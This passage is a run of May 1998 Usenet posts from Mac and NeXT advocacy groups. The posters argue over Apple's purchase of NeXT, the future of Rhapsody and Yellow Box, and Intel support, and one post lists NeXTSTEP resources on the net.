Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 19:35:40 -0500
Organization: KAOS
Message-ID: <199805161935401708983@sdn-ts-002txhousp06.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <ericb-1505981847060001@132.236.171.104> <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu>
Pulsar wrote:
> If [Jonathan Harker] would just make this arguement without making complaints
> [...], I wouldn't have a problem with him.
In that case, you will always have a problem with him. Join the club.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 19:35:41 -0500
Organization: KAOS
Message-ID: <199805161935411709091@sdn-ts-002txhousp06.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com>
John Nagle wrote:
> > Andy Bates wrote:
>
> > > And before WWDC, Apple had NO schedule for shipping of a modern
> > > mainstream OS. So now we have a definitie date. Again, what's the
> > > problem?
>
> Apple has had definite dates before. With Copland.
> Now we have another announcement of a date. Whether it's definite
> remains to be seen.
>
> I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
> Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
> It shows just how far Apple was willing to go in terms of making
> commitments they didn't keep.
>
> Never forget this.
Isn't it rather petty to hold on to Copland's broken promise? This
isn't the Alamo! Besides, the reliability of Apple's current schedule
has nothing to do with Copland. Move on.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Sat, 16 May 1998 19:35:43 -0500
Organization: KAOS
Message-ID: <199805161935431709193@sdn-ts-002txhousp06.dialsprint.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5> <joe.ragosta-1505981627300001@wil93.dol.net> <355e18de.0@206.25.228.5>
John Kheit wrote:
> Why a Terminal.app terrifies people to the point they say "hide that, just
> don't let me see it" baffles me as much as the propeller heads who demand
> certain things be available via CLI only. YMMV.
Perhaps Apple tech support could give you a better answer.
> Again, your anecdotal evidence not being in anyway disproof of a
> significant portion of mac people being as I described.
Nor is your description in any way proof of same.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: Sat, 16 May 1998 18:20:04 -0700
Organization: Trilithon Research and Trading
Message-ID: <355E3B44.AC0E2AF7@trilithon.com>
References: <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu>
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Stephen Peters wrote:
* markeaton@mindspring.canned-meat-filter.com (Mark Eaton) writes:
* * Umm, how would DGS solve the problem?
* Assuming that the main reason for the change was the
* royalty cost for YB apps to deploy on Windows, DGS
* *would* solve that problem, since it's a clean-room
* implementation of the DPS spec. It would be, in effect,
* royalty free (Apple pays royalties to Adobe for the
* implementation, not the language).
When you say "Display Ghostscript", I assume you mean something
built upon Peter Deutsch's Ghostscript? For commercial purposes,
I believe that there would be royalties involved.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Sat, 16 May 1998 18:23:00 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355DCB6D.4269@earthlink.net>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <nagleEt1DyG.5qM@netcom.com>
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John Nagle wrote:
> Actually, there's a good reason for not having a command-line
> interface at all. It's too tempting to require use of the command
> line interface for "seldom-used functions". Windows and UNIX have
> this problem in a big way, and one of the strengths of the Mac is
> that it doesn't. Developers have to provide a GUI for everything.
> The result is a better user interface.
I disagree. IMHO NeXT had a better GUI than the Mac and it had a CLI.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sat, 16 May 1998 18:33:11 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355DCDCE.20C5@earthlink.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
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John Bauer wrote:
> But do NeXT watchers view this as a bad
> thing?
I have mixed feelings myself but I am really looking foward to getting
Rhapsody on my Mac so I can run some great programs.
> The hardware is not as sleek, the UI not as pretty.
NeXT hadn't made hardware for years. I will bet that some NeXTers will
be writing small apps and "themes" to bring back the NeXT look and feel
from the past. Atleast I hope so.
> Are the compromises that go with appealing to a consumer market worth it for the
> possibility of the technology flourishing? Or is the technology doomed
> anyway if the native OS won't run on Windows machines?
Hard to say. In a few years "Windows" machines (Intel) may not matter.
If Apple produces a Merced OS and all the current apps work on it, well
they could jump ahead of the game. None of the current Windows apps
will work on Merced.
Since I own a Mac, I am still very happy that Apple purchsed NeXT. I
had often wished NeXTSTEP would run on a Mac. Well, now it will,
although in a somewhat altered form.
Steve
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 21:48:52 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jlfm4$jto$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355CB499.EB48D472@milestonerdl.com> <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca> <355D9E19.30699728@milestonerdl.com>
In article <355D9E19.30699728@milestonerdl.com>, mark@milestonerdl.com wrote:
> I would not put it past Microsoft to change NT 5.x so that it breaks YB as it
> worked with NT 4.x.
Yes, the infamous "Microsoft will change it until it breaks". As pointed
out before, YB has _very few_ OS dependencies in it. Anything severe
enough to break YB beyond Apple's repair is going to totally screw
over _Windows_ apps even worse. Say what you will about Microsoft,
people are not going to accept NT5 if it breaks all their pre-5 apps.
They'll just refuse to upgrade.
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Sat, 16 May 1998 21:55:09 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1605982155100001@pelli.pathology.pitt.edu>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <pxpst2-1405981509500001@pelli.pathology.pitt.edu> <ericb-1505981731010001@132.236.171.104> <pxpst2-1605981342480001@pelli.pathology.pitt.edu> <joe.ragosta-1605981942370001@elk32.dol.net>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <joe.ragosta-1605981942370001@elk32.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Rhapsody currently uses 2.5++++++.
I'm no expert on this but 2.5 is a monolithic kernal not capable of
running on more than one processor. Mach 3.0 should be able to handle up
to 20. BUT like I said I am no expert on this
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 16 May 1998 21:51:02 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jlfq6$jua$1@crib.bevc.blacksburg.va.us>
References: <355B510B.250023F2@milestonerdl.com> <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> <355DA040.D6BEABC3@milestonerdl.com>
In article <355DA040.D6BEABC3@milestonerdl.com>, mark@milestonerdl.com wrote:
> Mike Paquette wrote:
> > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > for Windows works on Windows 98 Release Candidates and the Windows NT
> > 5.0 beta.
> > It works on the machine in my office, too...
> Really?
> Is there a QT of this session?
You do realize that Mike's an Apple YB engineer, don't you? Don't you
think he might know a little something about YB?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5> <joe.ragosta-1505981627300001@wil93.dol.net> <355e18de.0@206.25.228.5> <199805161935431709193@sdn-ts-002txhousp06.dialsprint.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e44a8.0@206.25.228.5>
Date: 17 May 98 02:00:08 GMT
drifterusa@sprintmail.com (John Bauer) wrote:
> John Kheit wrote:
> > Why a Terminal.app terrifies people to the point they say "hide
> > that, just don't let me see it" baffles me as much as the
> > propeller heads who demand certain things be available via CLI
> > only. YMMV.
> Perhaps Apple tech support could give you a better answer.
I doubt it. :-)
> > Again, your anecdotal evidence not being in anyway disproof of
> > a significant portion of mac people being as I described.
> Nor is your description in any way proof of same.
I never purported proof nor do I feel any burdon to provide any.
It's enough of a reality that I know everyone reading *knows* it's
true, and knows they've either met or read some person as I described.
Any denials or jibes to the contrary do nothing but bore me. I
could care less who and for what reason why people care to ignore
the reality that such a contingent exists.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355e4613.0@206.25.228.5>
Date: 17 May 98 02:06:11 GMT
drifterusa@sprintmail.com (John Bauer) wrote:
> Without debating the finer points of how true all of the above
> are, I'm curious if the consensus in (this slice of) the NeXT
> community is that things were better before Apple bought NeXT
> and that, in retrospect, the merger was a bad move for NeXT
> aficionados. I think it would be helpful if opinions were grounded
> in economic reality rather than dashed ivory tower fantasies,
> but it's your post, so say whatever you want.
Too tough to guess. I mean you know we weren't going to get too
much cool stuff with NeXT anymore as they went the way of the
microBreweryDevToolNiche. I guess they may not have taken out so
much, but that's tautamount to just sticking with 4.2, which we
still may. We did get some cool stuff with apple, at the price of
others. Too tough for me to call in my own mind (which isn't saying
much :) but overall I guess I'm happy to see at least some of
technology propagate to the masses. I think overall that's the
best part of the deal. Some of the great stuff NeXT did will
survive and people will enjoy it, damn it, whether or not they
realize it, damn it. :)
> It does seem, in a way, that Jobs is finally making that
> next-generation Mac he sought by founding NeXT. But do NeXT
> watchers view this as a bad thing? The hardware is not as sleek,
Nope, best piece of hardware ever made to date, imo, ymmv, NeXT
turbo cube adb.
> the UI not as pretty. Are the compromises that go with appealing
Subjective, but I agree completely. Someone else pointed out the
great quotes of PC reviewers raving about the NeXT UI...that ain't
gonna happen with that tinker toy of an excuse of a UI they have
now, imo. I may well be wrong. I hope I am.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 16 May 1998 22:03:00 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jlggk$jv2$1@crib.bevc.blacksburg.va.us>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
In article <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>, drifterusa@sprintmail.com (John Bauer) wrote:
> No Rhapsody/Intel beyond CR1.
> No more DPS.
> No more NSHosting.
> Yellow Box spotlight usurped by old Mac APIs.
> Fully Macified UI.
> G3 or later hardware required to run future incarnations of Rhapsody.
> Without debating the finer points of how true all of the above are, I'm
> curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados.
I think that the consensus is probably "no", because all signs were
indicating that NeXT was going to drop their operating system altogether
in favor of OpenStep on Windows. At least this way, the OS lives on in
_some_ form, and it's still a lot better and truer to the NEXTSTEP ideal
than Windows is!
A number of the details that made NEXTSTEP great are gone, but I think
there are a lot of improvements too. On the whole I think that it's
definitely an improvement, and hopefully Themes will fix some of the UI
problems (from a NS user's perspective).
Subject: Re: Rhapsody/Intel is Dead Too!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
In-Reply-To: <joe.ragosta-1605981948230001@elk32.dol.net>
From: akira@home.com
Message-ID: <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>
Date: Sun, 17 May 1998 02:31:27 GMT
NNTP-Posting-Date: Sat, 16 May 1998 19:31:27 PDT
Organization: @Home Network
On 05/16/98 in the group comp.sys.next.advocacy you wrote:
>In article <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>, akira@home.com
>wrote:
>
>> There will be NO more later Rhapsody/x86 releases. None, zero, zip!
Unless
>> the market can convince Apple that it is appropriate to continue.
>
>Please provide some evidence to back up this position.
Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
session. I asked the question, I got the answer. There will be NO
Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
>Otherwise, your just another trolling Wintel FUDster.
Hmm, well since I've been doing Next programming for 6 years now, I can say
reasonably that I'm not some Wintel weenie, or some Mac weenie either. How
about you? Looks like all you are is some trolling Mac FUDster.
>> You are forgetting, there will be NO more Rhapsody/x86 past Rhapsody 1.0.
>> MacOS X isn't coming out for another year after Rhapsody 1.0. Rhapsody
1.0
>> WILL have a YB finder. I rather doubt that will change for MacOS X.
>
>Wrong.
And can you provide evidence for that? I can, it's documented. Were you at
the YB Feedback? I doubt it, or you would know. Get the tapes, and verify
it for yourself.
>> Repeat after me: No more Rhapsody/x86 after Rhapsody 1.0. Period.
Direct
>> from Apple to me to you.
>
>Do you think it becomes true if you say the same lie often enough? If it's
>direct from Apple, you shouldn't have any trouble giving a URL.
Geez, if we had to rely on everything that came direct from Apple, we
wouldn't know anything. And seeing as how this came from the panel with
Ernest Prabhakar, Jordan Dea-Mattson, Mike Ferris, and other folks who's
names I can't remember but are actively involved in doing the YB coding, I
think it's safe to assume this is the *current* official position.
-d
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com>
Message-ID: <igs71.1406$Fi2.1198912@news.rdc1.sdca.home.com>
Date: Sun, 17 May 1998 02:50:54 GMT
NNTP-Posting-Date: Sat, 16 May 1998 19:50:54 PDT
Organization: @Home Network
In <Y9h71.255$RA.867020@news.rdc1.nj.home.com> "Chris Van Buskirk" wrote:
> Well, I have nosing around this group for awhile, and am very happy
> that apple has extended apple developers the carbon APIs. Finally,
> the next generation MacOs is back in the hands of apple developers.
> Frankly, I really don't want my future on the Macintosh developed by
> those who do nothing but bitch and whine like children.
>
> I hate the UI!
> Everything Yellow!
> I can't live without DPS!
> No Intel!
> Adobe Sucks!
>
> I think you people would have real compelling arguments, if you just
> developed something! The only applications I hear, are those that
> were already developed for Next before the buyout.
>
> Not one major announcement of a new product for yellow box! This
> is why the carbon APIs are here, and should be always on top of
> apple's API development strategy. Thank God, back to mac.advocacy.
> I know you won't miss me.
>
>
Actually, csna will dearly miss the balance... And speaking of balance,
study MacOS X architecture diagram. You'll notice YB is right along side
Carbon. While this might not seem important beyond a historical footnote,
now. You'll appreciate what is there if you are truly a MacOS diehard
programmer.
Early exits only guarantee only utter dissatisfactions... I'd hang around
here until the NeXTies are gone ;-)
-r
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone remember a certain NeXT video tape?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6jjnrv$n53$8@news.idiom.com>
Message-ID: <xRs71.1765$Fi2.1207226@news.rdc1.sdca.home.com>
Date: Sun, 17 May 1998 03:30:37 GMT
NNTP-Posting-Date: Sat, 16 May 1998 20:30:37 PDT
Organization: @Home Network
In <6jjnrv$n53$8@news.idiom.com> John C. Randolph wrote:
> I remember a video I saw back in '89 or so, in which two programmers were
> given the same task to do, one using NeXTStep and the other using Sun's
> developer tools. The Sun guy was more experienced, etc.
>
> Anyway, it showed the elapsed time, showed the NeXT hacker finishing up and
> playing video games while the Sun guy kept working at it, etc.
>
> It might be a good idea to stage a similar, head to head contest, between a
> guy using the yellow box and a guy using whatever MicroSquish is trying to
> claim is a passable set of development tools. (What is it now? Visual Crap
> ++ with MicroSquish Foundering Classes?)
>
> In fact, a series of these, from "build me a simple datebook app" to "Put
> this existing parts database on the web", or even "build me a full-blown
> e-commerce site" might make a very compelling story.
>
>
Far, far too much time has elapsed to effect the targeted "response" from the
video... It was too passive from the beginning. But now if a $100,000
contest is waged... May the best man win! That's a Geekfest!
Do a Corporate Challenge. A week in some INSANELY great place like FIGI,
somewhere with Internet access and great diversions. iCAST the event. A my
boys against your boys. Microsoft shops et. al. invited. Scaled up the
contest should build the best OPEN SOURCE solution for Netscape's browser or
whatever is the OPEN SOURCE Du Jour. The winner takes away bragging rights...
Rah rah! The project goes into the public domain... PEOPLE win. Take all
comers C++, APL, VB, Obj-C, Java, etc...
-r
That would demonstrate "who" can deliver the best, fastest with "what".
From: "Jim Holmes" <jaholmes@sprintparanet.com>
Newsgroups: comp.sys.next.advocacy
Subject: DR2 on new PB G3
Date: 17 May 1998 03:53:54 GMT
Organization: Deloitte & Touche LLP
Message-ID: <01bd8146$ad357ee0$123110ac@chinito9501>
I have recieved DR2, and the install documentation doesn't list the
Powerbook G3. It only lists the tower and desktop models.
So, has anyone installed DR2 on a G3 powerbook?
Thanks,
Jim Holmes
jaholmes@sprintparanet.com
From: zegelin@actonline.com.au (Peter Zegelin)
Newsgroups: comp.sys.next.advocacy
Subject: Apples Commitment to Yellow Box
Date: 17 May 1998 04:04:04 GMT
Organization: Totally Disorganized
Message-ID: <zegelin-1705981405240001@dialup14.canb.ispsys.net>
Cache-Post-Path: genie.cyberone.com.au!unknown@dialup14.canb.ispsys.net
Some people seem to be worried about Apples long term commitment to the
Yellow Box, especially for cross platform developement.
One thing Apple could do is to publicaly commit to developing all new
versions of their cross platform apps using YB. These include ClarisWorks,
FileMaker Pro and Quicktime.
This would have several benfits:
1). It would show real commitment, which is what developers need.
2). Very expensive in the short term but much cheaper in the long run
(write once, compile everywhere where YB is supported). Added benefit
is that as new OSes are developed if Apple decides to support them
with a version of Rhapsody then they'll have a few apps ready to go
as well.
3). Some people seem a bit worried that Wintel people dont like adding much
in the way of 'stuff' (libraries, dlls etc) to their system in case it
breaks. This often applies double to Apple bits and pieces. However
they dont seem to mind installing Quicktime so maybe Apple could sneek
the YB libraries into the Wintel world via QT.
just my 2 cents worth,
Peter
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <1562894772821@digifix.com>
Date: 17 May 1998 03:49:39 GMT
Organization: Digital Fix Development
Message-ID: <10466895377625@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
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Scott Anguish ( sanguish@digifix.com )
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From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 17 May 1998 05:54:22 GMT
Message-ID: <6jlu2e$dp0$8@newsfep4.sprintmail.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
<B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
<3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: akira@home.com
> >> There will be NO more later Rhapsody/x86 releases. None, zero, zip!
> Unless
> >> the market can convince Apple that it is appropriate to continue.
> >Otherwise, your just another trolling Wintel FUDster.
>
> Hmm, well since I've been doing Next programming for 6 years now, I can say
> reasonably that I'm not some Wintel weenie, or some Mac weenie either. How
> about you? Looks like all you are is some trolling Mac FUDster.
Heheheheh, you havent been around comp.sys.mac.advocacy too long have you?
If you had you would know by know that if you dont staunchly support apple,
